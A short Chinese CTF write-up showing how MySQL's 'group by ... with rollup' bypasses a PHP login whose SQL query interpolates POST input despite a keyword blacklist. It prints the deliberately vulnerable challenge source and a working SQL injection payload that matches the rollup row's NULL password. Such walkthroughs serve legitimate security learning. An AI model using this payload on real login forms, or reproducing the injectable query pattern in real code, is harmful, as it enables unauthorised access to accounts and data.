group by ... with rollup 绕过登入

知识概要

简单来讲，他会和union select 一样创建一个虚拟表。使用方法如下:

1	select * from user group by id with rollup;

而它的特点就是新增加一列，且分组的字段为NULL其它字段为汇总。
详情参考链接

看一道题

源码大概如下：

<?php
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可载舟，亦可赛艇！";
        exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);
}
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇！";
    }
}else{
    print "一颗赛艇！";
}
mysql_close($con);
?>

废话不多说，最后的payload为：

1	uname=' or 1=1 group by pwd with rollup limit 1 offset2 #&pwd=